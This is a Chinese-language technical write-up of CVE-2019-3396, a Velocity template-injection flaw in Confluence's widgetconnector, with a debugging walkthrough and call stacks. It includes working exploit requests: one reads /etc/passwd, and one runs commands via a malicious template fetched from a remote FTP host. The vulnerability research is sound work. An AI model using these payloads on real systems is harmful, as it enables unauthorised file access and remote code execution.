CVE-2019-3396 Confluence Velocity SSTI漏洞浅析
2020-08-21 09:58:16 Author: xz.aliyun.com(查看原文) 阅读量:469 收藏

Confluence Server和Confluence Data Center的widgetconnector组件存在严重的安全漏洞,可以在不需要账号登陆的情况下进行未授权访问,精心构造恶意的JSON字符串发送给widgetconnector组件处理,可以进行任意文件读取、Velocity-SSTI远程执行任意命令。

影响版本:

  • 更早 -- 6.6.12(不包含)

  • 6.7.0 -- 6.12.3(不包含)

  • 6.13.0 -- 6.13.3(不包含)

  • 6.14.0 -- 6.14.3(不包含)

影响组件:

  • widgetconnector.jar <=3.1.3

Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。

选择Confluence中使用的Velocity,添加pom.xml依赖:

<!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity -->
<dependency>
    <groupId>org.apache.velocity</groupId>
    <artifactId>velocity</artifactId>
    <version>1.7</version>
</dependency>

基本语法

语句标识符

#用来标识Velocity的脚本语句,包括#set#if#else#end#foreach#end#include#parse#macro等语句。

变量

$用来标识一个变量,比如模板文件中为Hello $a,可以获取通过上下文传递的$a

声明

set用于声明Velocity脚本变量,变量可以在脚本中声明

#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"])

注释

单行注释为##,多行注释为成对出现的#* ............. *#

逻辑运算

条件语句

if/else为例:

#if($foo<10)
    <strong>1</strong>
#elseif($foo==10)
    <strong>2</strong>
#elseif($bar==6)
    <strong>3</strong>
#else
    <strong>4</strong>
#end

单双引号

单引号不解析引用内容,双引号解析引用内容,与PHP有几分相似

#set ($var="aaaaa")
'$var'  ## 结果为:$var
"$var"  ## 结果为:aaaaa

属性

通过.操作符使用变量的内容,比如获取并调用getClass()

#set($e="e")
$e.getClass()

转义字符

如果$a已经被定义,但是又需要原样输出$a,可以试用\转义作为关键的$

基础使用

使用Velocity主要流程为:

  • 初始化Velocity模板引擎,包括模板路径、加载类型等
  • 创建用于存储预传递到模板文件的数据的上下文
  • 选择具体的模板文件,传递数据完成渲染

VelocityTest.java

package Velocity;

import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;

import java.io.StringWriter;

public class VelocityTest {
    public static void main(String[] args) {

        VelocityEngine velocityEngine = new VelocityEngine();
        velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
        velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "src/main/resources");
        velocityEngine.init();


        VelocityContext context = new VelocityContext();
        context.put("name", "Rai4over");
        context.put("project", "Velocity");


        Template template = velocityEngine.getTemplate("test.vm");
        StringWriter sw = new StringWriter();
        template.merge(context, sw);
        System.out.println("final output:" + sw);
    }
}

模板文件src/main/resources/test.vm

Hello World! The first velocity demo.
Name is $name.
Project is $project

输出结果:

final output:
Hello World! The first velocity demo.
Name is Victor Zhang.
Project is Velocity
java.lang.UNIXProcess@12f40c25

通过VelocityEngine创建模板引擎,接着velocityEngine.setProperty设置模板路径src/main/resources、加载器类型为file,最后通过velocityEngine.init()完成引擎初始化。

通过VelocityContext()创建上下文变量,通过put添加模板中使用的变量到上下文。

通过getTemplate选择路径中具体的模板文件test.vm,创建StringWriter对象存储渲染结果,然后将上下文变量传入template.merge进行渲染。

RCE

修改模板内容为恶意代码,通过java.lang.Runtime进行命令执行

#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/rai4over")

org.apache.velocity.app.VelocityEngine

引擎初始化时构造函数什么也没做,但是会调用RuntimeInstance,接着调用setProperty设置路径等参数。

org.apache.velocity.app.VelocityEngine#setProperty

ri就是前面的RuntimeInstance实例,跟进setProperty方法

org.apache.velocity.runtime.RuntimeInstance#setProperty

调用setProperty(key, value)设置键值对,最后引擎对象init()后为:

org.apache.velocity.VelocityContext#VelocityContext()

继续调用有构造参数

org.apache.velocity.VelocityContext#VelocityContext(java.util.Map, org.apache.velocity.context.Context)

this.context被赋值为空的HashMap(),上下文变量创建完成。

org.apache.velocity.context.AbstractContext#put

调用internalPut函数

org.apache.velocity.VelocityContext#internalPut

调用put存入hashMap中,返回上层调用模板引擎对象getTemplate加载模板文件

org.apache.velocity.app.VelocityEngine#getTemplate(java.lang.String)

org.apache.velocity.runtime.RuntimeInstance#getTemplate(java.lang.String)

org.apache.velocity.runtime.RuntimeInstance#getTemplate(java.lang.String, java.lang.String)

步步跟进套娃的getTemplate方法,然后调用getResource方法

org.apache.velocity.runtime.resource.ResourceManagerImpl#getResource(java.lang.String, int, java.lang.String)

这里首先会使用资源文件名test.vm和资源类型1进行拼接为资源键名1test.vm,然后通过get方法判断1test.vm资源名是否在ResourceManagerImpl对象的globalCache缓存中,

org.apache.velocity.runtime.resource.ResourceCacheImpl#get

然后进一步判断ResourceCacheImpl对象的cache成员并返回判断结果。

如果资源1test.vm被缓存命中则直接加载,如果globalCache缓存获取失败则调用loadResource函数加载,加载成功后也同样会根据1test.vm资源键名放入globalCache以便下次查找。

org.apache.velocity.runtime.resource.ResourceManagerImpl#loadResource

根据资源名称、类型通过createResource生成资源加载器,然后调用process()从当前资源加载器集中加载资源。

org.apache.velocity.Template#process

public boolean process()
        throws ResourceNotFoundException, ParseErrorException
    {
        data = null;
        InputStream is = null;
        errorCondition = null;

        /*
         *  first, try to get the stream from the loader
         */
        try
        {
            is = resourceLoader.getResourceStream(name);
        }
        catch( ResourceNotFoundException rnfe )
        {
            /*
             *  remember and re-throw
             */

            errorCondition = rnfe;
            throw rnfe;
        }

        /*
         *  if that worked, lets protect in case a loader impl
         *  forgets to throw a proper exception
         */

        if (is != null)
        {
            /*
             *  now parse the template
             */

            try
            {
                BufferedReader br = new BufferedReader( new InputStreamReader( is, encoding ) );
                data = rsvc.parse( br, name);
                initDocument();
                return true;
            }

getResourceStream(name)获取命名资源作为流,进行解析和初始化

最后将解析后的模板AST-node放入data中并层层返回,然后调用template.merge进行合并渲染。

org.apache.velocity.Template#merge(org.apache.velocity.context.Context, java.io.Writer)

org.apache.velocity.Template#merge(org.apache.velocity.context.Context, java.io.Writer, java.util.List)

这里是上面提到的ASTprocess类的data,并调用render进行渲染

org.apache.velocity.runtime.parser.node.SimpleNode#render

node通过层层解析,最终通过反射完成任恶意命令执行,整体的调用栈如下:

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:395, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:384, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
execute:173, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:280, ASTReference (org.apache.velocity.runtime.parser.node)
render:369, ASTReference (org.apache.velocity.runtime.parser.node)
render:342, SimpleNode (org.apache.velocity.runtime.parser.node)
merge:356, Template (org.apache.velocity)
merge:260, Template (org.apache.velocity)
main:25, VelocityTest (Velocity)

环境搭建

直接使用vulhub环境

https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396

设置docker-compose.yml

version: '2'
services:
  web:
    image: vulhub/confluence:6.10.2
    ports:
      - "8888:8090"
      - "9999:9999"
    depends_on:
      - db
  db:
    image: postgres:10.7-alpine
    environment:
    - POSTGRES_PASSWORD=postgres
    - POSTGRES_DB=confluence

9999端口是用于jdwp远程调试的映射端口,8888是Web服务的映射端口

启动容器docker-compose up -d,然后root权限进入容器docker exec -u root -it 467b4e03119d bash

修改配置文件setenv.sh,开启Confluence的远程调试

vi /opt/atlassian/confluence/bin/setenv.sh

在配置文件的最后添加:

重启Confluence容器docker-compose restart,调试端口就开启了,接下来配置IDEA。

首先将容器中的Confluence复制出来

docker cp 467b4e03119d:/opt/atlassian/confluence/ test

提取全部的jar

find ./test -name "*.jar" -exec cp {} ./confluence_jar/ \;

添加jar到项目

为了调试中的字节码匹配,复制出容器中使用的JDK

docker cp 467b4e03119d:/usr/lib/jvm/java-1.8-openjdk confluence-java-1.8-openjdk

将其设置为项目的JDK

IDEA远程调试配置如下

IDEA-DEBUG端口连接成功则表示调试环境无误。

漏洞复现

文件读取

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8888/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 231

{
    "contentId": "786458",
    "macro": {
        "name": "widget",
        "body": "",
        "params": {
            "url": "https://metacafe.com/v/23464dc6",
            "width": "1000",
            "height": "1000",
            "_template": "file:///etc/passwd"
        }
    }
}

远程命令执行

通过python开启FTP

python2 -m pyftpdlib -p 21

并放入恶意的exp.vm模板文件

#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
$scan.next()
#end

利用java.lang.Process执行命令并利用java.io.InputStream获取回显。

发送包含模板文件的URL、欲执行的命令的请求

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8888/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 262

{
    "contentId": "786458",
    "macro": {
        "name": "widget",
        "body": "",
        "params": {
            "url": "https://metacafe.com/v/23464dc6",
            "width": "1000",
            "height": "1000",
            "_template": "ftp://192.168.100.109/exp.vm",
            "cmd":"ls"
        }
    }
}

Gadget chain

根据漏洞描述的widgetconnector组件和java.lang.Runtime执行命令的断点,找到漏洞流程入口

com.atlassian.confluence.extra.widgetconnector.WidgetMacro#execute(java.util.Map<java.lang.String,java.lang.String>, java.lang.String, com.atlassian.confluence.content.render.xhtml.ConversionContext)

这里将JSON数据都存储在parameters中,其中url键值通过RenderUtils.getParameter提取出来,并将各个参数传入this.renderManager.getEmbeddedHtml(url, parameters)

com.atlassian.confluence.extra.widgetconnector.DefaultRenderManager#getEmbeddedHtml

这里对this.renderSupporter对象包含很多渲染类

对应具体目录为

迭代该对象的元素并在if条件中进行判断,通过调用了widgetRenderer类的matches方法进行判断

com.atlassian.confluence.extra.widgetconnector.video.MetacafeRenderer#matches

POC中会调用MetacafeRenderer类的matches方法,通过contains方法判断是否包含硬编码的metacafe.com,因为参数中包含因此能够进入if分支,并继续调用getEmbeddedHtml方法

com.atlassian.confluence.extra.widgetconnector.video.MetacafeRenderer#getEmbeddedHtml

传入getEmbeddedHtml的参数为可控的params,除了metacafe.com,还有其他的渲染类也能满足

GoogleVideoRenderer

EpisodicRenderer

继续跟进到DefaultVelocityRenderService对象的render方法

com/atlassian/confluence/extra/widgetconnector/services/DefaultVelocityRenderService.class:60

继续跟进getRenderedTemplate

com.atlassian.confluence.extra.widgetconnector.services.DefaultVelocityRenderService#getRenderedTemplate

com.atlassian.confluence.util.velocity.VelocityUtils#getRenderedTemplate(java.lang.String, java.util.Map<?,?>)

com.atlassian.confluence.util.velocity.VelocityUtils#getRenderedTemplate(java.lang.String, org.apache.velocity.context.Context)

com.atlassian.confluence.util.velocity.VelocityUtils#getRenderedTemplateWithoutSwallowingErrors(java.lang.String, org.apache.velocity.context.Context)

将远程模板ftp://192.168.50.63/exp.vm和环境变量层层传递,创建StringWriter用于存储结果,继续跟进renderTemplateWithoutSwallowingErrors函数

com.atlassian.confluence.util.velocity.VelocityUtils#renderTemplateWithoutSwallowingErrors(java.lang.String, org.apache.velocity.context.Context, java.io.Writer)

继续跟进

com.atlassian.confluence.util.velocity.VelocityUtils#getTemplate

先跟进getVelocityEngine()看结果

com.atlassian.confluence.util.velocity.VelocityUtils#getVelocityEngine

返回生成并返回一个模板引擎对象,并继续调用getTemplate函数

org.apache.velocity.app.VelocityEngine#getTemplate(java.lang.String, java.lang.String)

远程加载模板,过程和上面一样包括初始化加载器、加入缓存等等,不再跟进,向上层层返回模板对象

com.atlassian.confluence.util.velocity.VelocityUtils#renderTemplateWithoutSwallowingErrors(java.lang.String, org.apache.velocity.context.Context, java.io.Writer)

跟进renderTemplateWithoutSwallowingErrors函数

com.atlassian.confluence.util.velocity.VelocityUtils#renderTemplateWithoutSwallowingErrors(org.apache.velocity.Template, org.apache.velocity.context.Context, java.io.Writer)

这里使用模板对象进行合并操作,完成恶意命令执行,最后的调用栈为:

exec:443, Runtime (java.lang)
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:385, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:374, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:28, UnboxingMethod (com.atlassian.velocity.htmlsafe.introspection)
execute:270, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:262, ASTReference (org.apache.velocity.runtime.parser.node)
value:507, ASTReference (org.apache.velocity.runtime.parser.node)
value:71, ASTExpression (org.apache.velocity.runtime.parser.node)
render:142, ASTSetDirective (org.apache.velocity.runtime.parser.node)
render:336, SimpleNode (org.apache.velocity.runtime.parser.node)
merge:328, Template (org.apache.velocity)
merge:235, Template (org.apache.velocity)
renderTemplateWithoutSwallowingErrors:68, VelocityUtils (com.atlassian.confluence.util.velocity)
renderTemplateWithoutSwallowingErrors:76, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplateWithoutSwallowingErrors:59, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplate:38, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplate:29, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplate:78, DefaultVelocityRenderService (com.atlassian.confluence.extra.widgetconnector.services)
render:72, DefaultVelocityRenderService (com.atlassian.confluence.extra.widgetconnector.services)
getEmbeddedHtml:42, MetacafeRenderer (com.atlassian.confluence.extra.widgetconnector.video)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeJoinpointUsingReflection:302, AopUtils (org.springframework.aop.support)
doInvoke:56, ServiceInvoker (org.eclipse.gemini.blueprint.service.importer.support.internal.aop)
invoke:60, ServiceInvoker (org.eclipse.gemini.blueprint.service.importer.support.internal.aop)
proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework)
doProceed:133, DelegatingIntroductionInterceptor (org.springframework.aop.support)
invoke:121, DelegatingIntroductionInterceptor (org.springframework.aop.support)
proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework)
invokeUnprivileged:70, ServiceTCCLInterceptor (org.eclipse.gemini.blueprint.service.util.internal.aop)
invoke:53, ServiceTCCLInterceptor (org.eclipse.gemini.blueprint.service.util.internal.aop)
proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework)
invoke:57, LocalBundleContextAdvice (org.eclipse.gemini.blueprint.service.importer.support)
proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework)
doProceed:133, DelegatingIntroductionInterceptor (org.springframework.aop.support)
invoke:121, DelegatingIntroductionInterceptor (org.springframework.aop.support)
proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework)
invoke:208, JdkDynamicAopProxy (org.springframework.aop.framework)
getEmbeddedHtml:-1, $Proxy1665 (com.sun.proxy)
getEmbeddedHtml:32, DefaultRenderManager (com.atlassian.confluence.extra.widgetconnector)
execute:73, WidgetMacro (com.atlassian.confluence.extra.widgetconnector)

https://xz.aliyun.com/t/7466

https://www.jianshu.com/p/378827f1dfc8

http://blog.leanote.com/post/zhangyongbo/Velocity%E8%AF%AD%E6%B3%95

https://www.cnblogs.com/yangzhinian/p/4885973.html

https://caiqiqi.github.io/2019/11/03/Confluence%E6%9C%AA%E6%8E%88%E6%9D%83%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5-%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C-CVE-2019-3396/

https://lucifaer.com/2019/04/16/Confluence%20%E6%9C%AA%E6%8E%88%E6%9D%83RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2019-3396%EF%BC%89/


文章来源: http://xz.aliyun.com/t/8135
如有侵权请联系:admin#unsafe.sh